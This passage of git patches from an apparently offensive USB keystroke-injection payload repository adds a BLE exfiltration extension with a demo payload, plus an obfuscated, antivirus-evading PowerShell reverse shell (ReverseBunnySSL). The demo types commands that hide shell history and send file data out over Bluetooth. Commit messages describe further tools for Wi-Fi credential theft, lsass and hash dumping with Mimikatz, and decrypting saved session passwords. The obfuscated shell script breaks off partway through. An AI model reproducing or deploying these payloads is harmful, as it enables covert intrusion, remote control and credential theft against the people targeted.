From b59823da1e59aa9dbb3514fda8ff13f57fbf71a0 Mon Sep 17 00:00:00 2001 From: drapl0n <87269662+drapl0n@users.noreply.github.com> Date: Tue, 3 May 2022 03:17:53 +0530 Subject: [PATCH 01/13] Uploading BLE_EXFIL extension (#519) * Uploaded BunnyLogger * uploading payload intel * Create README.md * Update README.md * uploaded LinuxPreter * uploaded FileRipper Faster executing version * Update README.md * fixing typo * uploaded sudoSnatch * Update README.md * deleting sudoSnatch * uploading payload * Delete payload.sh * Delete shell * Delete systemBus * Delete camPeek directory * Update payload.sh * Update payload.sh * Delete payloads/library/execution/FileRipper directory * Update payload.sh * Update payload.sh * Update payload.sh * Update payload.sh * uploading BLE_EXFIL extension BLE_EXFIL extension, exfiltrates data via BLE * BLE_EXFIL demo --- payloads/extensions/ble_exfil.sh | 16 +++++++ .../exfiltration/BLE_EXFIL_DEMO/payload.txt | 47 +++++++++++++++++++ 2 files changed, 63 insertions(+) create mode 100644 payloads/extensions/ble_exfil.sh create mode 100644 payloads/library/exfiltration/BLE_EXFIL_DEMO/payload.txt diff --git a/payloads/extensions/ble_exfil.sh b/payloads/extensions/ble_exfil.sh new file mode 100644 index 00000000..47f5ce3d --- /dev/null +++ b/payloads/extensions/ble_exfil.sh @@ -0,0 +1,16 @@ +#!/bin/bash +# +# BLE_EXFIL v1 by @drapl0n +# Exfiltrate data(25 bytes) stored in "/loot/ble_exfil.txt" via BLE. +# Usage: BLE_EXFIL + +function BLE_EXFIL() { + stty -F /dev/ttyS1 speed 115200 cs8 -cstopb -parenb -echo -ixon -icanon -opost + stty -F /dev/ttyS1 speed 115200 cs8 -cstopb -parenb -echo -ixon -icanon -opost + sleep 1 + text=$(cat /root/udisk/loot/ble_exfil.txt) + exfil=${text:0:25} + echo -n -e "AT+ADVDAT=$exfil" > /dev/ttyS1 +} + +export -f BLE_EXFIL diff --git a/payloads/library/exfiltration/BLE_EXFIL_DEMO/payload.txt b/payloads/library/exfiltration/BLE_EXFIL_DEMO/payload.txt new file mode 100644 index 00000000..35e9dcac --- /dev/null +++ b/payloads/library/exfiltration/BLE_EXFIL_DEMO/payload.txt @@ -0,0 +1,47 @@ +# Description: Demonstration of BLE_EXFIL extension. +# AUTHOR: drapl0n +# Version: 1.0 +# Category: Exfiltration +# Target: Unix-like operating systems. +# Attackmodes: HID, Storage + +LED SETUP +ATTACKMODE STORAGE HID +GET SWITCH_POSITION +LED ATTACK +Q DELAY 1000 +Q CTRL-ALT t +Q DELAY 1000 + +# [Prevent storing history] +Q STRING unset HISTFILE +Q ENTER +Q DELAY 200 + +# [Fetching BashBunny's block device] +Q STRING lol='$(lsblk | grep 1.8G)' +Q ENTER +Q DELAY 100 +Q STRING disk='$(echo $lol | awk '\'{print\ '$1'}\'\)'' +Q ENTER +Q DELAY 200 + +# [Mounting BashBunny] +Q STRING udisksctl mount -b /dev/'$disk' /tmp/tmppp +Q ENTER +Q DELAY 2000 +Q STRING mntt='$(lsblk | grep $disk | awk '\'{print\ '$7'}\'\)'' +Q ENTER +Q DELAY 500 + +# [Advertising Data] +Q STRING echo BashBunnyRocks \> '$mntt'/loot/ble_exfil.txt +Q ENTER +BLE_EXFIL +Q DELAY 200 +Q STRING udisksctl unmount -b /dev/'$disk' +Q ENTER +Q DELAY 500 +Q STRING exit +Q ENTER +LED FINISH From 44975914d57a637feb11b933eea6b4f44012ffad Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Mon, 9 May 2022 22:00:43 +0200 Subject: [PATCH 02/13] Uploaded ReverseBunnySSL (#520) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Uploaded ReverseBunny Obfuscated reverse shell via powershell * Uploaded WifiSnatch Get your targets stored wifi information and credentials, store them on your Bashbunny and hop away ๐ * Update ReverseBunny.txt Changed payload to evade Windows Defender * Update payload.txt Added new "Eject Method" - props to Night(9o3) * Update README.md * Deleted ReverseBunny.txt Deleted because of higher risk to get caught by AV * Updated ReverseBunny to version 1.2 Updated ReverseBunny to version 1.2. - Deleted payload on disk because of AV - Added custom shell design * Updated ReverseBunny to version 1.2 Updated README for ReverseBunny update * Updated payload fixed some stupid left overs <3 * Uploaded pingUinBunny a reverse shell using icmp * Delete payloads/library/remote_access/switch1 directory * Uploaded pingUinBunny A reverse shell using icmp * Update README.md * Update README.md * Updated to PingZhell * Update Bunny.pl * Update README.md * Update README.md * Update payload.txt * Rename payloads/library/remote_access/pingUinBunny/Bunny.pl to payloads/library/remote_access/PingZhellBunny/Bunny.pl * Rename payloads/library/remote_access/pingUinBunny/PingZhell.ps1 to payloads/library/remote_access/PingZhellBunny/PingZhell.ps1 * Rename payloads/library/remote_access/pingUinBunny/README.md to payloads/library/remote_access/PingZhellBunny/README.md * Rename payloads/library/remote_access/pingUinBunny/payload.txt to payloads/library/remote_access/PingZhellBunny/payload.txt * Update payload.txt * Update README.md * Update README.md * Update Bunny.pl * Created ProcDumpBunny Dump lsass.exe with a renamed version of procdump and get the users hashes with Mimikatz * Update README.md * Update payload.txt * Updated ReverseBunny Fixed wrong DELAY commands * Updated PingZhellBunny Fixed wrong DELAY commands * Updated WifiSnatch Fixed multiple mistakes * Uploaded HashDumpBunny Use your BashBunny to dump the user hashes of your target - similar to the msf post-module. The script was obfuscated with multiple layers, so don't be confused. If you don't trust this script, run it within a save testing space - which should be best practice anyways ;) * added example picture * Update README.md * Uploaded SessionBunny Utilize SessionGopher (Slightly modified) to find PuTTY, WinSCP, and Remote Desktop saved sessions. It decrypts saved passwords for WinSCP. Extracts FileZilla, SuperPuTTY's saved session information in the sitemanager.xml file and decodes saved passwords. Afterwards decide which is important and what you want to save onto your BashBunny. * Uploaded SessionBunny Utilize the famous, here slightly modified SessionGopher script, to find PuTTY, WinSCP, and Remote Desktop saved sessions. It decrypts saved passwords for WinSCP. Extracts FileZilla, SuperPuTTY's saved session information in the sitemanager.xml file and decodes saved passwords. Decide which inforamtion you wanna take with you - save it onto your BashBunny! * Update README.md * Delete SessionBunny directory * Uploaded MiniDumpBunny Dump lsass with this rewritten and for BashBunny adapted version of Powersploits Out-MiniDump. * Update README.md added disclaimer * Update README.md * Update README.md * Update README.md * Uploaded ReverseBunnySSL * Update README.md * Update README.md * Update payload.txt * Update README.md --- .../remote_access/ReverseBunnySSL/RBSSL.ps1 | 1 + .../remote_access/ReverseBunnySSL/README.md | 30 ++++++++++++ .../ReverseBunnySSL/Startscreen.png | Bin 0 -> 33161 bytes .../remote_access/ReverseBunnySSL/payload.txt | 44 ++++++++++++++++++ 4 files changed, 75 insertions(+) create mode 100644 payloads/library/remote_access/ReverseBunnySSL/RBSSL.ps1 create mode 100644 payloads/library/remote_access/ReverseBunnySSL/README.md create mode 100644 payloads/library/remote_access/ReverseBunnySSL/Startscreen.png create mode 100644 payloads/library/remote_access/ReverseBunnySSL/payload.txt diff --git a/payloads/library/remote_access/ReverseBunnySSL/RBSSL.ps1 b/payloads/library/remote_access/ReverseBunnySSL/RBSSL.ps1 new file mode 100644 index 00000000..93adacf5 --- /dev/null +++ b/payloads/library/remote_access/ReverseBunnySSL/RBSSL.ps1 @@ -0,0 +1 @@ + . ( $enV:coMspeC[4,15,25]-JOIn'')( [STRINg]::joiN( '', ( [REgex]::mAtcHEs( ")'X'+]03[eMOhsP$+]4[eMohsp$ (&| )'$','2y6'(ECalPER.)43]rahc[]gNirTS[,)711]rahc[+86]rahc[+011]rahc[((ECalPER.)421]rahc[]gNirTS[,'VYR'(ECalPER.)93]rahc[]gNirTS[,)211]rahc[+001]rahc[+08]rahc[((ECalPER.)69]rahc[]gNirTS[,)99]rahc[+88]rahc[+75]rahc[((ECalPER.)'}/+{2y6 .VYR uDn )}%*{2y6}-=2y6{2y6}@{2y6 + }%*{2y6}-=2y6{2y6}@{2y6 +}-=2y6{2y6}#-/{2y6}@{2y6+}%*{2y6}#-/{2y6}@{2y6 +})+{2y6}pdP~#{2y6}@{2y6 +}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6+ }-=2y6{2y6};{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6 + }%*{2y6}pdP~#{2y6}@{2y6 +})+{2y6}pdP~#{2y6}@{2y6 +})+{2y6};{2y6}%*{2y6}@{2y6+}2y6{2y6}~{2y6}@{2y6+})+{2y6}~{2y6}@{2y6 +}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6 + })+{2y6}2y6{2y6}@{2y6 +}%*{2y6}pdP~#{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6 + }pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6+}~{2y6}#-/{2y6}@{2y6+}pdP~#{2y6'+'})+{2y6}@{2y6+ };{2y6}-=2y6{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6 + }~{2y6})({2y6}@{2y6 + }~{2y6}pdP~#{2y6}@{2y6+ }2y6{2y6};{2y6}%*{2y6}@{2y6+ }cX9cX9{2y6}%*{2y6}%*{2y6}@{2y6 + }pdP~#{2y6})({2y6}@{2y6 + }cX9cX9{2y6}2y6{2y6}@{2y6 +})({2y6}-=2y6{2y6}@{2y6+ }%*{2y6}-=2y6{2y6}@{2y6 +}~{2y6}#-/{2y6}@{2y6 +}%*{2y6}#-/{2y6}@{2y6 + })+{2y6}pdP~#{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6 + }-=2y6{2y6};{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6 +}%*{2y6}pdP~#{2y6}@{2y6 + })+{2y6}pdP~#{2y6}@{2y6+})+{2y6};{2y6}%*{2y6}@{2y6 + }2y6{2y6}~{2y6}@{2y6+})+{2y6}~{2y6}@{2y6 +}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 +})({2y6}%*{2y6}%*'+'{2y6}@{2y6 +})+{2y6}2y6{2y6}@{2y6+ }%*{2y6}pdP~#{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6+}%*{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6}-=2y6{2y6}@{2y6 +}2y6{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6}-=2y6{2y6}@{2y6+})+{2y6}pdP~#{2y6}@{2y6+ }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6})({2y6}@{2y6 +}-=2y6{2y6};{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}pdP~#{2y6}@{2y6+}%*{2y6}pdP~#{2y6}@{2y6+})+{2y6}-=2y6{2y6}@{2y6 + }#-/{2y6}#-/{2y6}@{2y6+ })({2y6}#-/{2y6}@{2y6+})+{2y6}pdP~#{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 + }#-/{2y6})({2y6}@{2y6+}-=2y6{2y6};{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6 +}%*{2y6}pdP~#{2y6}@{2y6+})+{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6}-=2y6{2y6}@{2y6+}#-/{2y6}#-/{2y6}@{2y6 + })+{2y6}pdP~#{2y6}@{2y6 +}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 + }#-/{2y6})({2y6}@{2y6+ }-=2y6{2y6};{2y6}%*{2y6}@{2y6+}pdP~#{2y6}pdP~#{2y6}@{2y6+}%*{2y6}pdP~#{2y6}@{2y6+ };{2y6}-=2y6{2y6}@{2y6 +};{2y6}-=2y6{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+}~{2y6})({2y6}@{2y6 +}~{2y6}pdP~#{2y6}@{2y6 + }2y6{2y6};{2y6}%*{2y6}@{2y6 + }cX9cX9{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6 + }cX9cX9{2y6}2y6{2y6}@{2y6 +})({2y6}-=2y6{2y6}@{2y6+}%*{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6+}cX9cX9{2y6}pdP~#{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6 + };{2y6}~{2y6}@{2y6+ }#-/{2y6}%*{2y6}%*{2y6}@{2y6+}pdP~#{2y6}pdP~#{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6+ };{2y6}-=2y6{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6 + }~{2y6})({2y6}@{2y6+}~{2y6}pdP~#{2y6}@{2y6+ }2y6{2y6};{2y6}%*{2y6}@{2y6 + }cX9cX9{2y6}%*{2y6}%*{2y6}@{2y6+}pdP~#{2y6})({2y6}@{2y6+}cX9cX9{2y6}2y6{2y6}@{2y6+})({2y6}-=2y6{2y6}@{2y6+}%*{2y6}-=2y6{2y6}@{2y6 +}cX9cX9{2y6}#-/{2y6}@{2y6+ }%*{2y6}#-/{2y6}@{2y6 +})+{2y6}pdP~#{2y6}@{2y6 +}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 +}#-/{2y6})({2y6}@{2y6+}-=2y6{2'+'y6};{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}pdP~#{2y6}@{2y6+}%*{2y6}pdP~#{2y6}@{2y6+})+{2y6}pdP~#{2y6}@{2y6+})+{2y6};{2y6}%*{2y6}@{2y6 +}2y6{2y6}~{2y6}@{2y6 + })+{2y6}~{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6 + })+{2y6}2y6{2y6}@{2y6+}%*{2y6}pdP~#{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6 +}cX9cX9{2y6}#-/{2y6}@{2y6 + }2y6{2y6}%*{2y6}%*{2y6}@{2y6 +}cX9cX9{2y6}2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6+ };{2y6}-=2y6{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6+}~{2y6})({2y6}@{2y6+ }~{2y6}pdP~#{2y6}@{2y6+ }2y6{2y6};{2y6}%*{2y6}@{2y6+}cX9cX9{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6 + }cX9cX9{2y6}2y6{2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6+ }%*{2y6}-=2y6{2y6}@{2y6 +}-=2y6{2y6}#-/{2y6}@{2y6 + }~{2y6}#-/{2y6}@{2y6 +})+{2y6}pdP~#{2y6}@{2y6 +}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 +}#-/{2y6})({2y6}@{2y6+}-=2y6{2y6};{2y6}%'+'*{2y6}@{2y6+ }pdP~#{2y6}pdP~#{2y6}@{2y6+}%*{2y6}pdP~#{2y6}@{2y6+})+{2y6}pdP~#{2y6}@{2y6 + })+{2y6};{2y6}%*{2y6}@{2y6+}2y6{2y6}~{2y6}@{2y6 + })+{2y6}~{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+ })({2y6}%*{2y6}%*{2y6}@{2y6 + })+{2y6}2y6{2y6}@{2y6 +}%*{2y6}pdP~#{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6+}%*{2y6}-=2y6{2y6}@{2y6 +})+{2y6}#-/{2y6}@{2y6+})({2y6}#-/{2y6}@{2y6+ })+{2y6}pdP~#{2y6}@{2y6+ }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 +}#-/{2y6})({2y6}@{2y6+ }-=2y6{2y6};{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6 +}%*{2y6}pdP~#{2y6}@{2y6 +})+{2y6}-=2y6{2y6}@{2y6 + })+{2y6}#-/{2y6}@{2y6+}#-/{2y6}#-/{2y6}@{2y6 + })+{2y6}pdP~#{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 + }#-/{2y6})({2y6}@{2y6 +}-=2y6{2y6};{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}pdP~#{2y6}@{2y6+}%*{2y6}pdP~#{2y6}@{2y6 + })+{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6}-=2y6{2y6}@{2y6 +};{2y6}#-/{2y6}@{2y6 +}pdP~#{2y6}-=2y6{2y6}@{2y6+})+{2y6}pdP~#{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6 + }-=2y6{2y6};{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6+ }%*{2y6}pdP~#{2y6}@{2y6 + };{2y6}-=2y6{2y6}@{2y6 + };{2y6}-=2y6{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+}~{2y6})({2y6}@{2y6 +}~{2y6}pdP~#{2y6}@{2y6 + }2y6{2y6};{2y6}%*{2y6}@{2y6+ }cX9cX9{2y6}%*{2y6}%*{2y6}@{2y6+}pdP~#{2y6})({2y6}@{2y6 +}cX9cX9{2y6}2y6{2y6}@{2y6+})({2y6}-=2y6{2y6}@{2y6 + }%*{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6 + }-=2y6{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6 +}%*{2y6}-=2y6{2y6}@{2y6+ })({2y6}#-/{2y6}@{2y6 + }pdP~#{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6}-=2y6{2y6}@{2y6 +})+{2y6}pdP~#{2y6}@{2y6+ }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6 +}-=2y6{2y6};{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}pdP~#{2y6}@{2y6 + }%*{2y6}pdP~#{2y6}@{2y6 + })+{2y6}-=2y6{2y6}@{2y6 +};{2y6}#-/{2y6}@{2y6+ };{2y6}#-/{2y6}@{2y6+ }pdP~#{2y6}-=2y6{2y6}@{2y6 + })+{2y6}pdP~#{2y6}@{2y6 + }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6})({2y6}@{2y6 +}-=2y6{2y6};{2y6}%*{2y6}@{2y6+}pdP~#{2y6}pdP~#{2y6}@{2y6+}%*{2y6}pdP~#{2y6}@{2y6+ })+{2y6}-=2y6{2y6}@{2y6 +})({2y6}#-/{2y6}@{2y6+ }#-/{2y6}#-/{2y6}@{2y6+ })+{2y6}pdP~#{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 +}#-/{2y6})({2y6}@{2y6 + }-=2y6{2y6};{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}pdP~#{2y6}@{2y6+}%*{2y6}pdP~#{2y6}@{2y6 +};{2y6}-=2y6{2y6}@{2y6+ };{2y6}-=2y6{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+}~{2y6})({2y6}@{2y6+}~{2y6}pdP~#{2y6}@{2y6 + }2y6{2y6};{2y6}%*{2y6}@{2y6 +}cX9cX9{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6 +}cX9cX9{2y6}2y6{2y6}@{2y6+})({2y6}-=2y6{2y6}@{2y6 +}%*{2y6}-=2y6{2y6}@{2y6+ }%*{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}pdP~#{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 + };{2y6}~{2y6}@{2y6+ }#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}pdP~#{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+ }~{2y6}-=2y6{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }~{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +};{2y6}%*{2y6}@{2y6+};{2y6}~{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}pdP~#{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+ }~{2y6}2y6{2y6}@{2y6 +}%*{2y6}~{2y6}@{2y6 + }#-/{2y6}-=2y6{2y6}@{2y6+ }#-/{2y6}-=2y6{2y6}@{2y6+ }#-/{2y6}-=2y6{2y6}@{2y6 +}#-/{2y6}2y6{2y6}@{2y6+ }#-/{2y6}~{2y6}@{2y6+}%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }~{2y6}-=2y6{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+};{2y6}%*{2y6}@{2y6+}%*{2y6}-=2y6{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}%*{2y6})({2y6}@{2y6+}-=2y6{2y6}2y6{2y6}@{2y6+}%*{2y6})({2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+};{2y6}-=2y6{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6+}#-/{2y6};{2y6}%*{2y6}@{2y6+}2y6{2y6};{2y6}%*{2y6}@{2y6+}~{2y6}pdP~#{2y6}@{2y6+ })({2y6}2y6{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6+ }~{2y6}pdP~#{2y6}@{2y6 + }pdP~#{2y6}pdP~#{2y6}@{2y6 +}#-/{2y6};{2y6}%*{2y6}@{2y6 +}cX9cX9{2y6};{2y6}%*{2y6}@{2y6 + }#-/{2y6};{2y6}%*{2y6}@{2y6+ })({2y6}%*{2y6}%*{2y6}@{2y6 + }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+ }~{2y6})({2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6+ })({2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6};{2y6}%*{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6 +}cX9cX9{2y6}2y6{2y6}@{2y6 +})({2y6}-=2y6{2y6}@{2y6 +}%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6 + }#-/{2y6};{2y6}%*{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{'+'2y6+ }~{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}pdP~#{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+})+{2y6}2y6{2y6}@{2y6+ })({2y6}-=2y6{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6 + };{2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6 + }pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6+}~{2y6}#-/{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6 +}2y6{2y6}-=2y6{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6+ })({2y6}%*{2y6}%*{2y6}@{2y6+}%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }2y6{2y6}pdP~#{2y6}@{2y6 + };{2y6};{2y6}%*{2y6}@{2y6 + };{2y6}%*{2y6}%*{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+ }#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6+}~{2y6}#-/{2y6}@{2y6 + };{2y6}-=2y6{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+ })({2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6};{2y6}%*{2y6}@{2y6 + }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+}~{2y6}2y6{2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}pdP~#{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6 + }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+ })({2y6}%*{2y6}%*{2y6}@{2y6 +})+{2y6}2y6{2y6}@{2y6 +}2y6{2y6};{2y6}%*{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6 + }2y6{2y6}~{2y6}@{2y6+}%*{2y6}pdP~#{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6+ })+{2y6}2y6{2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6 +}2y6{2y6}~{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6};{2y6}%*{2y6}@{2y6 + }2y6{2y6}pdP~#{2y6}@{2y6 +}pdP~#{2y6}~{2y6}@{2y6 + }#-/{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6 +}2y6{2y6}~{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + }%*{2y6})({2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6 +'+' }~{2y6};{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6+}%*{2y6}%*{2y6}%*{2y6}@{2y6+ }#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6 + }#-/{2y6})({2y6}@{2y6 +}~{2y6}#-/{2y6}@{2y6+};{2y6}%*{2y6}@{2y6 + };{2y6}%*{2y6}@{2y6 + };{2y6}%*{2y6}@{2y6 + }-=2y6{2y6})({2y6}@{2y6 + }cX9cX9{2y6}#-/{2y6}@{2y6+ }2y6{2y6}%*{2y6}%*{2y6}@{2y6+}cX9cX9{2y6}2y6{2y6}@{2y6+ };{2y6}%*{2y6}@{2y6 + 